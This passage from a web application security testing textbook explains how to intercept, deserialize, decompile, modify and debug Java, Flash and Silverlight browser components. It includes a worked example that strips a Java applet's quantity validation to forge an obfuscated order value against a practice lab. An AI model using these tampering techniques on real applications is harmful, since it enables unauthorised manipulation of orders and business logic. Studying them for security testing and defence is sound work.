Because these are competing to achieve similar goals, they have similar properties in their architecture that are relevant to security: They are compiled to an intermediate bytecode. They execute within a virtual machine that provides a sandbox environ- ment for execution. They may use remoting frameworks employing serialization to transmit complex data structures or objects over HTTP. Java Java applets run in the Java Virtual Machine (JVM) and are subject to the sand- boxing applied by the Java Security Policy. Because Java has existed since early in the web’s history, and because its core concepts have remained relatively unchanged, a large body of knowledge and tools are available for attacking and defending Java applets, as described later in this chapter. Flash Flash objects run in the Flash virtual machine, and, like Java applets, are sand- boxed from the host computer. Once used largely as a method of delivering animated content, Flash has moved on. With newer versions of ActionScript, c05.indd 134c05.indd 134 8/19/2011 12:05:42 PM8/19/2011 12:05:42 PMStuttard c05.indd V3 - 07/22/2011 Page 135 Chapter 5 Bypassing Client-Side Controls 135 Flash is now squarely billed as capable of delivering full-blown desktop applica- tions. A key recent change in Flash is ActionScript 3 and its remoting capability with Action Message Format (AMF) serialization. Silverlight Silverlight is Microsoft’s alternative to Flash. It is designed with the similar goal of enabling rich, desktop-like applications, allowing web applications to provide a scaled-down .NET experience within the browser, in a sandboxed environment. Technically, Silverlight applications can be developed in any .NET-compliant language from C# to Python, although C# is by far the most common. Approaches to Browser Extensions You need to employ two broad techniques when targeting applications that use browser extension components. First, you can intercept and modify the requests made by the component and the responses received from the server. In many cases, this is the quickest and easiest way to start testing the component, but you may encounter several limitations. The data being transmitted may be obfuscated or encrypted, or may be serialized using schemes that are specifi c to the technology being used. By looking only at the traffi c generated by the component, you may overlook some key functionality or business logic that can be discovered only by analyzing the component itself. Furthermore, you may encounter obstacles to using your intercepting proxy in the normal way; however, normally these can be circum- vented with some careful confi guration, as described later in this chapter. Second, you can target the component itself directly and attempt to decom- pile its bytecode to view the original source, or interact dynamically with the component using a debugger. This approach has the advantage that, if done thoroughly, you identify all the functionality that the component supports or references. It also allows you to modify key data submitted in requests to the server, regardless of any obfuscation or encryption mechanisms used for data in transit. A disadvantage of this approach is that it can be time-consuming and may require detailed understanding of the technologies and programming languages used within the component. In many cases, a combination of both these techniques is appropriate. The following sections look at each one in more detail. Intercepting Traffi c from Browser Extensions If your browser is already confi gured to use an intercepting proxy, and the application loads a client component using a browser extension, you may see requests from this component passing through your proxy. In some cases, you c05.indd 135c05.indd 135 8/19/2011 12:05:42 PM8/19/2011 12:05:42 PMStuttard c05.indd V3 - 07/22/2011 Page 136 136 Chapter 5 Bypassing Client-Side Controls don’t need to do anything more to begin testing the relevant functionality, because you can intercept and modify the component’s requests in the usual way. In the context of bypassing client-side input validation that is implemented in a browser extension, if the component submits the validated data to the server transparently, this data can be modifi ed using an intercepting proxy in the same way as already described for HTML form data. For example, a browser exten- sion supporting an authentication mechanism might capture user credentials, perform some validation on these, and submit the values to the server as plain- text parameters within the request. The validation can be circumvented easily without performing any analysis or attack on the component itself. In other cases, you may encounter various obstacles that make your testing diffi cult, as described in the following sections. Handling Serialized Data Applications may serialize data or objects before transmitting them within HTTP requests. Although it may be possible to decipher some of the string-based data simply by inspecting the raw serialized data, in general you need to unpack the serialized data before it can be fully understood. And if you want to modify the data to interfere with the application’s processing, fi rst you need to unpack the serialized content, edit it as required, and reserialize it correctly. Simply edit- ing the raw serialized data will almost certainly break the format and cause a parsing error when the application processes the message. Each browser extension technology comes with its own scheme for serializing data within HTTP messages. In general, therefore, you can infer the serializa- tion format based on the type of client component that is being employed, but the format usually is evident in any case from a close inspection of the relevant HTTP messages. Java Serialization The Java language contains native support for object serialization, and Java applets may use this to send serialized data structures between the client and server application components. Messages containing serialized Java objects usually can be identifi ed because they have the following Content-Type header: Content-Type: application/x-java-serialized-object Having intercepted the raw serialized data using your proxy, you can deserialize it using Java itself to gain access to the primitive data items it contains. DSer is a handy plug-in to Burp Suite that provides a framework for viewing and manipulating serialized Java objects that have been intercepted within Burp. This tool converts the primitive data within the intercepted object into XML format for easy editing. When you have modifi ed the relevant data, DSer then reserializes the object and updates the HTTP request accordingly. c05.indd 136c05.indd 136 8/19/2011 12:05:42 PM8/19/2011 12:05:42 PMStuttard c05.indd V3 - 07/22/2011 Page 137 Chapter 5 Bypassing Client-Side Controls 137 You can download DSer, and learn more about how it works, at the follow- ing URL: http://blog.andlabs.org/2010/09/re-visiting-java-de-serialization-it.html Flash Serialization Flash uses its own serialization format that can be used to transmit complex data structures between server and client components. Action Message Format (AMF) normally can be identifi ed via the following Content-Type header: Content-Type: application/x-amf Burp natively supports AMF format. When it identifi es an HTTP request or response containing serialized AMF data, it unpacks the content and presents this in tree form for viewing and editing, as shown in Figure 5-5. When you have modifi ed the relevant primitive data items within the structure, Burp reserial- izes the message, and you can forward it to the server or client to be processed. Figure 5-5: Burp Suite supports AMF format and lets you view and edit the deserialized data c05.indd 137c05.indd 137 8/19/2011 12:05:42 PM8/19/2011 12:05:42 PMStuttard c05.indd V3 - 07/22/2011 Page 138 138 Chapter 5 Bypassing Client-Side Controls Silverlight Serialization Silverlight applications can make use of the Windows Communication Foundation (WCF) remoting framework that is built in to the .NET platform. Silverlight client components using WCF typically employ Microsoft’s .NET Binary Format for SOAP (NBFS), which can be identifi ed via the following Content-Type header: Content-Type: application/soap+msbin1 A plug-in is available for Burp Proxy that automatically deserializes NBFS- encoded data before it is displayed in Burp’s interception window. After you have viewed or edited the decoded data, the plug-in re-encodes the data before it is forwarded to the server or client to be processed. The WCF binary SOAP plug-in for Burp was produced by Brian Holyfi eld and is available to download here: www.gdssecurity.com/l/b/2009/11/19/wcf-binary-soap-plug-in-for-burp/ Obstacles to Intercepting Traffi c from Browser Extensions If you have set up your browser to use an intercepting proxy, you may fi nd that requests made by browser extension components are not being intercepted by your proxy, or are failing. This problem usually is due to issues with the com- ponent’s handling of HTTP proxies or SSL (or both). Typically it can be handled via some careful confi guration of your tools. The fi rst problem is that the client component may not honor the proxy con- fi guration you have specifi ed in your browser or your computer’s settings. This is because components may issue their own HTTP requests, outside of the APIs provided by the browser itself or the extension framework. If this is happen- ing, you can still intercept the component’s requests. You need to modify your computer’s hosts fi le to achieve the interception and confi gure your proxy to support invisible proxying and automatic redirection to the correct destination host. See Chapter 20 for more details on how to do this. The second problem is that the client component may not accept the SSL certifi cate being presented by your intercepting proxy. If your proxy is using a generic self-signed certifi cate, and you have confi gured your browser to accept it, the browser extension component may reject the certifi cate nonetheless. This may be because the browser extension does not pick up the browser’s confi guration for temporarily trusted certifi cates, or it may be because the component itself programmatically requires that untrusted certifi cates should not be accepted. In either case, you can circumvent this problem by confi guring your proxy to use a master CA certifi cate, which is used to sign valid per-host certifi cates for each site you visit, and installing the CA certifi cate in your computer’s trusted certifi cate store. See Chapter 20 for more details on how to do this. In some rare cases you may fi nd that client components are communicating using a protocol other than HTTP, which simply cannot be handled using an c05.indd 138c05.indd 138 8/19/2011 12:05:43 PM8/19/2011 12:05:43 PMStuttard c05.indd V3 - 07/22/2011 Page 139 Chapter 5 Bypassing Client-Side Controls 139 intercepting proxy. In these situations, you still may be able to view and modify the affected traffi c by using either a network sniffer or a function-hooking tool. One example is Echo Mirage, which can inject into a process and intercept calls to socket APIs, allowing you to view and modify data before it is sent over the network. Echo Mirage can be downloaded from the following URL: www.bindshell.net/tools/echomirage HACK STEPS 1. Ensure that your proxy is correctly intercepting all traffic from the browser extension. If necessary, use a sniffer to identify any traffic that is not being proxied correctly. 2. If the client component uses a standard serialization scheme, ensure that you have the tools necessary to unpack and modify it. If the component is using a proprietary encoding or encryption mechanism, you need to decompile or debug the component to fully test it. 3. Review responses from the server that trigger key client-side logic. Often, timely interception and modification of a server response may allow you to “unlock” the client GUI, making it easy to reveal and then perform complex or multistaged privileged actions. 4. If the application performs any critical logic or events that the client com- ponent should not be trusted to perform (such as drawing a card or rolling dice in a gambling application), look for any correlation between execu- tion of critical logic and communication with the server. If the client does not communicate with the server to determine the outcome of the event, the application is definitely vulnerable. Decompiling Browser Extensions By far the most thorough method of attacking a browser extension component is to decompile the object, perform a full review of the source code, and if nec- essary modify the code to change the object’s behavior, and recompile it. As already discussed, browser extensions are compiled into bytecode. Bytecode is a high-level platform-independent binary representation that can be executed by the relevant interpreter (such as the Java Virtual Machine or Flash Player), and each browser extension technology uses its own bytecode format. As a result, the application can run on any platform that the interpreter itself can run on. The high-level nature of bytecode representation means that it is always theoretically possible to decompile the bytecode into something resembling the original source code. However, various defensive techniques can be deployed to cause the decompiler to fail, or to output decompiled code that is very diffi cult to follow and interpret. c05.indd 139c05.indd 139 8/19/2011 12:05:43 PM8/19/2011 12:05:43 PMStuttard c05.indd V3 - 07/22/2011 Page 140 140 Chapter 5 Bypassing Client-Side Controls Subject to these obfuscation defenses, decompiling bytecode normally is the preferable route to understanding and attacking browser extension components. This allows you to review business logic, assess the full functionality of the client-side application, and modify its behavior in targeted ways. Downloading the Bytecode The fi rst step is to download the executable bytecode for you to start working on. In general, the bytecode is loaded in a single fi le from a URL specifi ed within the HTML source code for application pages that run the browser extension. Java applets generally are loaded using the tag, and other components generally are loaded using the tag. For example: In some cases, the URL that loads the bytecode may be less immediately obvi- ous, since the component may be loaded using various wrapper scripts provided by the different browser extension frameworks. Another way to identify the URL for the bytecode is to look in your proxy history after your browser has loaded the browser extension. If you take this approach, you need to be aware of two potential obstacles: Some proxy tools apply fi lters to the proxy history to hide from view items such as images and style sheet fi les that you generally are less interested in. If you cannot fi nd a request for the browser extension bytecode, you should modify the proxy history display fi lter so that all items are visible. Browsers usually cache the downloaded bytecode for extension components more aggressively than they do for other static resources such as images. If your browser has already loaded the bytecode for a component, even doing a full refresh for a page that uses the component may not cause the browser to request the component again. In this eventuality, you may need to fully clear your browser’s cache, shut down every instance of the browser, and then start a fresh browser session to force your browser to request the bytecode again. When you have identifi ed the URL for the browser extension’s bytecode, usu- ally you can just paste this URL into your browser’s address bar. Your browser then prompts you to save the bytecode fi le on your local fi lesystem. TIP If you have identifi ed the request for the bytecode in your Burp Proxy history, and the server’s response contains the full bytecode (and not a ref- erence to an earlier cached copy), you can save the bytecode directly to fi le c05.indd 140c05.indd 140 8/19/2011 12:05:43 PM8/19/2011 12:05:43 PMStuttard c05.indd V3 - 07/22/2011 Page 141 Chapter 5 Bypassing Client-Side Controls 141 from within Burp. The most reliable way to do this is to select the Headers tab within the response viewer, right-click the lower pane containing the response body, and select Copy to File from the context menu. Decompiling the Bytecode Bytecode usually is distributed in a single-fi le package, which may need to be unpacked to obtain the individual bytecode fi les for decompilation into source code. Java applets normally are packaged as .jar (Java archive) fi les, and Silverlight objects are packaged as .xap fi les. Both of these fi le types use the zip archive format, so you can easily unpack them by renaming the fi les with the .zip extension and then using any zip reader to unpack them into the individual fi les they contain. The Java bytecode is contained in .class fi les, and the Silverlight bytecode is contained in .dll fi les. After unpacking the relevant fi le package, you need to decompile these fi les to obtain source code. Flash objects are packaged as .swf fi les and don’t require any unpacking before you use a decompiler. To perform the actual bytecode decompilation, you need to use some specifi c tools, depending on the type of browser extension technology that is being used, as described in the following sections. Java Tools Java bytecode can be decompiled to into Java source code using a tool called Jad (the Java decompiler), which is available from: www.varaneckas.com/jad Flash Tools Flash bytecode can be decompiled into ActionScript source code. An alternative approach, which is often more effective, is to disassemble the bytecode into a human-readable form, without actually fully decompiling it into source code. To decompile and disassemble Flash, you can use the following tools: Flasm — www.nowrap.de/flasm Flare — www.nowrap.de/flare SWFScan — www.hp.com/go/swfscan (this works for Actionscript 2 and 3) Silverlight Tools Silverlight bytecode can be decompiled into source code using a tool called .NET Refl ector, which is available from: www.red-gate.com/products/dotnet-development/reflector/ c05.indd 141c05.indd 141 8/19/2011 12:05:43 PM8/19/2011 12:05:43 PMStuttard c05.indd V3 - 07/22/2011 Page 142 142 Chapter 5 Bypassing Client-Side Controls Working on the Source Code Having obtained the source code for the component, or something resembling it, you can take various approaches to attacking it. The fi rst step generally is to review the source code to understand how the component works and what functionality it contains or references. Here are some items to look for: Input validation or other security-relevant logic and events that occur on the client side Obfuscation or encryption routines being used to wrap user-supplied data before it is sent to the server “Hidden” client-side functionality that is not visible in your user interface but that you might be able to unlock by modifying the component References to server-side functionality that you have not previously identi- fi ed via your application mapping Often, reviewing the source code uncovers some interesting functions within the component that you want to modify or manipulate to identify potential security vulnerabilities. This may include removing client-side input validation, submitting nonstandard data to the server, manipulating client-side state or events, or directly invoking functionality that is present within the component. You can modify the component’s behavior in several ways, as described in the following sections. Recompiling and Executing Within the Browser You can modify the decompiled source code to change the component’s behav- ior, recompile it to bytecode, and execute the modifi ed component within your browser. This approach is often preferred when you need to manipulate key client-side events, such as the rolling of dice in a gaming application. To perform the recompilation, you need to use the developer tools that are relevant to the technology you are using: For Java, use the javac program in the JDK to recompile your modifi ed source code. For Flash, you can use flasm to reassemble your modifi ed bytecode or one of the Flash development studios from Adobe to recompile modifi ed ActionScript source code. For Silverlight, use Visual Studio to recompile your modifi ed source code. Having recompiled your source code into one or more bytecode fi les, you may need to repackage the distributable fi le if required for the technology being used. For Java and Silverlight, replace the modifi ed bytecode fi les in your c05.indd 142c05.indd 142 8/19/2011 12:05:43 PM8/19/2011 12:05:43 PMStuttard c05.indd V3 - 07/22/2011 Page 143 Chapter 5 Bypassing Client-Side Controls 143 unpacked archive, repackage using a zip utility, and then change the extension back to .jar or .xap as appropriate. The fi nal step is to load your modifi ed component into your browser so that your changes can take effect within the application you are testing. You can achieve this in various ways: If you can fi nd the physical fi le within your browser’s on-disk cache that contains the original executable, you can replace this with your modifi ed version and restart your browser. This approach may be diffi cult if your browser does not use a different individual fi le for each cached resource or if caching of browser extension components is implemented only in memory. Using your intercepting proxy, you can modify the source code of the page that loads the component and specify a different URL, pointing to either the local fi lesystem or a web server that you control. This approach normally is diffi cult because changing the domain from which the com- ponent is loaded may violate the browser’s same origin policy and may require reconfi guring your browser or other methods to weaken this policy. You can cause your browser to reload the component from the original server (as described in the earlier section “Downloading the Bytecode”), use your proxy to intercept the response containing the executable, and replace the body of the message with your modifi ed version. In Burp Proxy, you can use the Paste from File context menu option to achieve this. This approach usually is the easiest and least likely to run into the problems described previously. Recompiling and Executing Outside the Browser In some cases, it is not necessary to modify the component’s behavior while it is being executed. For example, some browser extension components validate user-supplied input and then obfuscate or encrypt the result before sending it to the server. In this situation, you may be able to modify the component to perform the required obfuscation or encryption on arbitrary unvalidated input and simply output the result locally. You can then use your proxy to intercept the relevant request when the original component submits the validated input, and you can replace this with the value that was output by your modifi ed component. To carry out this attack, you need to change the original executable, which is designed to run within the relevant browser extension, into a standalone pro- gram that can be run on the command line. The way this is done depends on the programming language being used. For example, in Java you simply need to implement a main method. The section “Java Applets: A Worked Example” gives an example of how to do this. c05.indd 143c05.indd 143 8/19/2011 12:05:44 PM8/19/2011 12:05:44 PMStuttard c05.indd V3 - 07/22/2011 Page 144 144 Chapter 5 Bypassing Client-Side Controls Manipulating the Original Component Using JavaScript In some cases, it is not necessary to modify the component’s bytecode. Instead, you may be able to achieve your objectives by modifying the JavaScript within the HTML page that interacts with the component. Having reviewed the component’s source code, you can identify all its public methods that can be invoked directly from JavaScript, and the way in which parameters to those methods are handled. Often, more methods are available than are ever called from within application pages, and you may also discover more about the purpose and handling of parameters to these methods. For example, a component may expose a method that can be invoked to enable or disable parts of the visible user interface. Using your intercepting proxy, you may be able to edit the HTML page that loads the component and modify or add some JavaScript to unlock parts of the interface that are hidden. HACK STEPS 1. Use the techniques described to download the component’s bytecode, unpack it, and decompile it into source code. 2. Review the relevant source code to understand what processing is being performed. 3. If the component contains any public methods that can be manipulated to achieve your objective, intercept an HTML response that interacts with the component, and add some JavaScript to invoke the appropriate methods using your input. 4. If not, modify the component’s source code to achieve your objective, and then recompile it and execute it, either in your browser or as a standalone program. 5. If the component is being used to submit obfuscated or encrypted data to the server, use your modified version of the component to submit various suitably obfuscated attack strings to the server to probe for vulnerabili- ties, as you would for any other parameter. Coping with Bytecode Obfuscation Because of the ease with which bytecode can be decompiled to recover its source, various techniques have been developed to obfuscate the bytecode itself. Applying these techniques results in bytecode that is harder to decompile or that decompiles to misleading or invalid source code that may be very diffi cult to understand and impossible to recompile without substantial effort. For example, consider the following obfuscated Java source: package myapp.interface; import myapp.class.public; import myapp.throw.throw; c05.indd 144c05.indd 144 8/19/2011 12:05:44 PM8/19/2011 12:05:44 PMStuttard c05.indd V3 - 07/22/2011 Page 145 Chapter 5 Bypassing Client-Side Controls 145 import if.if.if.if.else; import java.awt.event.KeyEvent; public class double extends public implements strict { public double(j j1) { _mthif(); _fldif = j1; } private void _mthif(ActionEvent actionevent) { _mthif(((KeyEvent) (null))); switch(_fldif._mthnew()._fldif) { case 0: _fldfloat.setEnabled(false); _fldboolean.setEnabled(false); _fldinstanceof.setEnabled(false); _fldint.setEnabled(false); break; ... The obfuscation techniques commonly employed are as follows: Meaningful class, method, and member variable names are replaced with meaningless expressions such as a, b, and c. This forces the reader of decompiled code to identify the purpose of each item by studying how it is used. This can make it diffi cult to keep track of different items while tracing them through the source code. Going further, some obfuscators replace item names with keywords reserved for the language, such as new and int. Although this technically renders the bytecode illegal, most virtual machines (VMs) tolerate the illegal code, and it executes normally. However, even if a decompiler can handle the illegal bytecode, the resulting source code is even less readable than that just described. More importantly, the source cannot be recompiled without extensive reworking to consistently rename illegally named items. Many obfuscators strip unnecessary debug and meta-information from the bytecode, including source fi lenames and line numbers (which makes stack traces less informative), local variable names (which frustrates debug- ging), and inner class information (which stops refl ection from working properly). Redundant code may be added that creates and manipulates various kinds of data in signifi cant-looking ways but that is autonomous from the real data actually being used by the application’s functionality. c05.indd 145c05.indd 145 8/19/2011 12:05:44 PM8/19/2011 12:05:44 PMStuttard c05.indd V3 - 07/22/2011 Page 146 146 Chapter 5 Bypassing Client-Side Controls The path of execution through code can be modifi ed in convoluted ways, through the use of jump instructions, so that the logical sequence of execu- tion is hard to discern when reading through the decompiled source. Illegal programming constructs may be introduced, such as unreachable statements and code paths with missing return statements. Most VMs tolerate these phenomena in bytecode, but the decompiled source cannot be recompiled without correcting the illegal code. HACK STEPS Effective tactics for coping with bytecode obfuscation depend on the tech- niques used and the purpose for which you are analyzing the source. Here are some suggestions: 1. You can review a component for public methods without fully under- standing the source. It should be obvious which methods can be invoked from JavaScript, and what their signatures are, enabling you to test the behavior of the methods by passing in various inputs. 2. If class, method, and member variable names have been replaced with meaningless expressions (but not special words reserved by the pro- gramming language), you can use the refactoring functionality built into many IDEs to help yourself understand the code. By studying how items are used, you can start to assign them meaningful names. If you use the rename tool within the IDE, it does a lot of work for you, tracing the item’s use throughout the codebase and renaming it everywhere. 3. You can actually undo a lot of obfuscation by running the obfuscated byte- code through an obfuscator a second time and choosing suitable options. A useful obfuscator for Java is Jode. It can remove redundant code paths added by another obfuscator and facilitate the process of understanding obfuscated names by assigning globally unique names to items. Java Applets: A Worked Example We will now consider a brief example of decompiling browser extensions by looking at a shopping application that performs input validation within a Java applet. In this example, the form that submits the user’s requested order quantity looks like this:
Product: Samsung Multiverse
Price: 399
Quantity: (Maximum quantity is 50)
When the form is submitted with a quantity of 2, the following request is made: POST /shop/154/Shop.aspx?prod=2 HTTP/1.1 Host: mdsec.net Content-Type: application/x-www-form-urlencoded Content-Length: 77 obfpad=klGSB8X9x0WFv9KGqilePdqaxHIsU5RnojwPdBRgZuiXSB3TgkupaFigjUQm8CIP5 HJxpidrPOuQ Pw63ogZ2vbyiOevPrkxFiuUxA8Gn30o1ep2Lax6IyuyEUD9SmG7c&quantity=4b282c510f 776a405f465 877090058575f445b536545401e4268475e105b2d15055c5d5204161000 As you can see from the HTML code, when the form is submitted, the vali- dation script passes the user’s supplied quantity, and the value of the obfpad parameter, to a Java applet called CheckQuantity. The applet apparently performs the necessary input validation and returns to the script an obfuscated version of the quantity, which is then submitted to the server. Since the server-side application confi rms our order for two units, it is clear that the quantity parameter somehow contains the value we have requested. However, if we try to modify this parameter without knowledge of the obfusca- tion algorithm, the attack fails, presumably because the server fails to unpack our obfuscated value correctly. c05.indd 147c05.indd 147 8/19/2011 12:05:44 PM8/19/2011 12:05:44 PMStuttard c05.indd V3 - 07/22/2011 Page 148 148 Chapter 5 Bypassing Client-Side Controls In this situation, we can use the methodology already described to decompile the Java applet and understand how it functions. First, we need to download the bytecode for the applet from the URL specifi ed in the applet tag of the HTML page: /scripts/CheckQuantity.class Since the executable is not packaged as a .jar fi le, there is no need to unpack it, and we can run Jad directly on the downloaded .class fi le: C:\tmp>jad CheckQuantity.class Parsing CheckQuantity.class...The class file version is 50.0 (only 45.3, 46.0 and 47.0 are supported) Generating CheckQuantity.jad Couldn’t fully decompile method doCheck Couldn’t resolve all exception handlers in method doCheck Jad outputs the decompiled source code as a .jad fi le, which we can view in any text editor: // Decompiled by Jad v1.5.8f. Copyright 2001 Pavel Kouznetsov. // Jad home page: http://www.kpdus.com/jad.html // Decompiler options: packimports(3) // Source File Name: CheckQuantity.java import java.applet.Applet; public class CheckQuantity extends Applet { public CheckQuantity() { } public String doCheck(String s, String s1) { int i = 0; i = Integer.parseInt(s); if(i <= 0 || i > 50) return null; break MISSING_BLOCK_LABEL_26; Exception exception; exception; return null; String s2 = (new StringBuilder()).append(“rand=”).append (Math.random()).append(“&q=”).append(Integer.toString(i)).append (“&checked=true”).toString(); StringBuilder stringbuilder = new StringBuilder(); for(int j = 0; j < s2.length(); j++) { String s3 = (new StringBuilder()).append(‘0’).append (Integer.toHexString((byte)s1.charAt((j * 19 + 7) % s1.length()) ^ s2.charAt(j))).toString(); c05.indd 148c05.indd 148 8/19/2011 12:05:44 PM8/19/2011 12:05:44 PMStuttard c05.indd V3 - 07/22/2011 Page 149 Chapter 5 Bypassing Client-Side Controls 149 int k = s3.length(); if(k > 2) s3 = s3.substring(k - 2, k); stringbuilder.append(s3); } return stringbuilder.toString(); } } As you can see from the decompiled source, Jad has done a reasonable job of decompiling, and the source code for the applet is simple. When the doCheck method is called with the user-supplied quantity and application-supplied obfpad parameters, the applet fi rst validates that the quantity is a valid num- ber and is between 1 and 50. If so, it builds a string of name/value pairs using the URL querystring format, which includes the validated quantity. Finally, it obfuscates this string by performing XOR operations against characters with the obfpad string that the application supplied. This is a fairly easy and common way of adding some superfi cial obfuscation to data to prevent trivial tampering. We have described various approaches you can take when you have decom- piled and analyzed the source code for a browser extension component. In this case, the easiest way to subvert the applet is as follows: 1. Modify the doCheck method to remove the input validation, allowing you to supply an arbitrary string as your quantity. 2. Add a main method, allowing you to execute the modifi ed component from the command line. This method simply calls the modifi ed doCheck method and prints the obfuscated result to the console. When you have made these changes, the modifi ed source code is as follows: public class CheckQuantity { public static void main(String[] a) { System.out.println(doCheck(“999”, “klGSB8X9x0WFv9KGqilePdqaxHIsU5RnojwPdBRgZuiXSB3TgkupaFigjUQm8CIP5HJxpi drPOuQPw63ogZ2vbyiOevPrkxFiuUxA8Gn30o1ep2Lax6IyuyEUD9 SmG7c”)); } public static String doCheck(String s, String s1) { String s2 = (new StringBuilder()).append(“rand=”).append (Math.random()).append(“&q=”).append(s).append (“&checked=true”).toString(); StringBuilder stringbuilder = new StringBuilder(); for(int j = 0; j < s2.length(); j++) { String s3 = (new StringBuilder()).append(‘0’).append c05.indd 149c05.indd 149 8/19/2011 12:05:44 PM8/19/2011 12:05:44 PMStuttard c05.indd V3 - 07/22/2011 Page 150 150 Chapter 5 Bypassing Client-Side Controls (Integer.toHexString((byte)s1.charAt((j * 19 + 7) % s1.length()) ^ s2.charAt(j))).toString(); int k = s3.length(); if(k > 2) s3 = s3.substring(k - 2, k); stringbuilder.append(s3); } return stringbuilder.toString(); } } This version of the modifi ed component provides a valid obfuscated string for the arbitrary quantity of 999. Note that you could use nonnumeric input here, allowing you to probe the application for various kinds of input-based vulnerabilities. TIP The Jad program saves its decompiled source code with the .jad exten- sion. However, if you want to modify and recompile the source code, you need to rename each source fi le with the .java extension. All that remains is to recompile the source code using the javac compiler that comes with the Java SDK, and then execute the component from the command line: C:\tmp>javac CheckQuantity.java C:\tmp>java CheckQuantity 4b282c510f776a455d425a7808015c555f42585460464d1e42684c414a152b1e0b5a520a 145911171609 Our modifi ed component has now performed the necessary obfuscation on our arbitrary quantity of 999. To deliver the attack to the server, we simply need to submit the order form in the normal way using valid input, intercept the resulting request using our proxy, and substitute the obfuscated quantity with the one provided by our modifi ed component. Note that if the application issues a new obfuscation pad each time the order form is loaded, you need to ensure that the obfuscation pad being submitted back to the server matches the one that was used to obfuscate the quantity also being submitted. TRY IT! These examples demonstrate the attack just described and the corresponding attacks using Silverlight and Flash technologies: http://mdsec.net/shop/154/ http://mdsec.net/shop/167/ http://mdsec.net/shop/179/ c05.indd 150c05.indd 150 8/19/2011 12:05:44 PM8/19/2011 12:05:44 PMStuttard c05.indd V3 - 07/22/2011 Page 151 Chapter 5 Bypassing Client-Side Controls 151 Attaching a Debugger Decompilation is the most complete method of understanding and compromis- ing a browser extension. However, in large and complex components containing tens of thousands of lines of code, it is nearly always much quicker to observe the component during execution, correlating methods and classes with key actions within the interface. This approach also avoids diffi culties that may arise with interpreting and recompiling obfuscated bytecode. Often, achieving a specifi c objective is as simple as executing a key function and altering its behavior to circumvent the controls implemented within the component. Because the debugger is working at the bytecode level, it can be easily used to control and understand the fl ow of execution. In particular, if source code can be obtained through decompilation, breakpoints can be set on specifi c lines of code, allowing the understanding gained through decompilation to be supported by practical observation of the code path taken during execution. Although effi cient debuggers are not fully matured for all the browser exten- sion technologies, debugging is well supported for Java applets. By far the best resource for this is JavaSnoop, a Java debugger that can integrate Jad to decom- pile source code, trace variables through an application, and set breakpoints on methods to view and modify parameters. Figure 5-6 shows JavaSnoop being used to hook directly into a Java applet running in the browser. Figure 5-7 shows JavaSnoop being used to tamper with the return value from a method. Figure 5-6: JavaSnoop can hook directly into an applet running in the browser NOTE It’s best to run JavaSnoop before the target applet is loaded. JavaSnoop turns off the restrictions set by your Java security policy so that it can operate on the target. In Windows, it does this by granting all permissions to all Java programs on your system, so ensure that JavaSnoop shuts down cleanly and that permissions are restored when you are fi nished working. An alternative tool for debugging Java is JSwat, which is highly confi gu- rable. In large projects containing many class fi les, it is sometimes preferable c05.indd 151c05.indd 151 8/19/2011 12:05:44 PM8/19/2011 12:05:44 PMStuttard c05.indd V3 - 07/22/2011 Page 152 152 Chapter 5 Bypassing Client-Side Controls to decompile, modify, and recompile a key class fi le and then use JSwat to hot- swap it into the running application. To use JSwat, you need to launch an applet using the appletviewer tool included in the JDK and then connect JSwat to it. For example, you could use this command: appletviewer -J-Xdebug -J-Djava.compiler=NONE -J- Xrunjdwp:transport=dt_socket, server=y,suspend=n,address=5000 appletpage.htm Figure 5-7: Once a suitable method has been identified, JavaSnoop can be used to tamper with the return value from the method When you’re working on Silverlight objects, you can use the Silverlight Spy tool to monitor the component’s execution at runtime. This can greatly help correlate relevant code paths to events that occur within the user interface. Silverlight Spy is available from the following URL: http://firstfloorsoftware.com/SilverlightSpy/ c05.indd 152c05.indd 152 8/19/2011 12:05:44 PM8/19/2011 12:05:44 PMStuttard c05.indd V3 - 07/22/2011 Page 153 Chapter 5 Bypassing Client-Side Controls 153 Native Client Components Some applications need to perform actions within the user’s computer that cannot be conducted from inside a browser-based VM sandbox. In terms of client-side security controls, here are some examples of this functionality: Verifying that a user has an up-to-date virus scanner Verifying that proxy settings and other corporate confi guration are in force Integrating with a smartcard reader Typically, these kinds of actions require the use of native code components, which integrate local application functionality with web application functional- ity. Native client components are often delivered via ActiveX controls. These are custom browser extensions that run outside the browser sandbox. Native client components may be signifi cantly harder to decipher than other browser extensions, because there is no equivalent to intermediate bytecode. However, the principles of bypassing client-side controls still apply, even if this requires a different toolset. Here are some examples of popular tools used for this task: OllyDbg is a Windows debugger that can be used to step through native executable code, set breakpoints, and apply patches to executables, either on disk or at runtime. IDA Pro is a disassembler that can produce human-readable assembly code from native executable code on a wide variety of platforms. Although a full-blown description is outside the scope of this book, the fol- lowing are some useful resources if you want to know more about reverse engineering of native code components and related topics: Reversing: Secrets of Reverse Engineering by Eldad Eilam Hacker Disassembling Uncovered by Kris Kaspersky The Art of Software Security Assessment by Mark Dowd, John McDonald, and Justin Schuh Fuzzing for Software Security Testing and Quality Assurance (Artech House Information Security and Privacy) by Ari Takanen, Jared DeMott, and Charlie Miller The IDA Pro Book: The Unoffi cial Guide to the World’s Most Popular Disassembler by Chris Eagle www.acm.uiuc.edu/sigmil/RevEng www.uninformed.org/?v=1&a=7 c05.indd 153c05.indd 153 8/19/2011 12:05:45 PM8/19/2011 12:05:45 PMStuttard c05.indd V3 - 07/22/2011 Page 154 154 Chapter 5 Bypassing Client-Side Controls Handling Client-Side Data Securely As you have seen, the core security problem with web applications arises because client-side components and user input are outside the server’s direct control. The client, and all the data received from it, is inherently untrustworthy. Transmitting Data Via the Client Many applications leave themselves exposed because they transmit critical data such as product prices and discount rates via the client in an unsafe manner. If possible, applications should avoid transmitting this kind of data via the client. In virtually any conceivable scenario, it is possible to hold such data on the server and reference it directly from server-side logic when needed. For example, an application that receives users’ orders for various products should allow users to submit a product code and quantity and look up the price of each requested product in a server-side database. There is no need for users to submit the prices of items back to the server. Even where an application offers different prices or discounts to different users, there is no need to depart from this model. Prices can be held within the database on a per-user basis, and discount rates can be stored in user profi les or even session objects. The application already possesses, server-side, all the information it needs to calculate the price of a specifi c product for a specifi c user. It must. Otherwise, it would be unable, on the insecure model, to store this price in a hidden form fi eld. If developers decide they have no alternative but to transmit critical data via the client, the data should be signed and/or encrypted to prevent user tamper- ing. If this course of action is taken, there are two important pitfalls to avoid: Some ways of using signed or encrypted data may be vulnerable to replay attacks. For example, if the product price is encrypted before being stored in a hidden fi eld, it may be possible to copy the encrypted price of a cheaper product and submit it in place of the original price. To prevent this attack, the application needs to include suffi cient context within the encrypted data to prevent it from being replayed in a differ- ent context. For example, the application could concatenate the product code and price, encrypt the result as a single item, and then validate that the encrypted string submitted with an order actually matches the product 